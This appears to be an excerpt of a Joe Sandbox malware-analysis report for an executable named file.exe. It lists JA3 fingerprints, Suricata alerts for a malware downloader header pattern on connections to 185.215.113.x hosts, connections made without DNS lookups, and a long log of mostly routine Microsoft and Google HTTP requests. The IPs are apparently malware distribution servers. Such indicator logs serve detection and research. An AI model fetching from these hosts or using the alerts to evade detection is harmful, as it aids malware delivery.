Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:51556 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:62262 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:62388 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:62395 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49779 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBECC60 PR_Recv,

0_2_6CBECC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
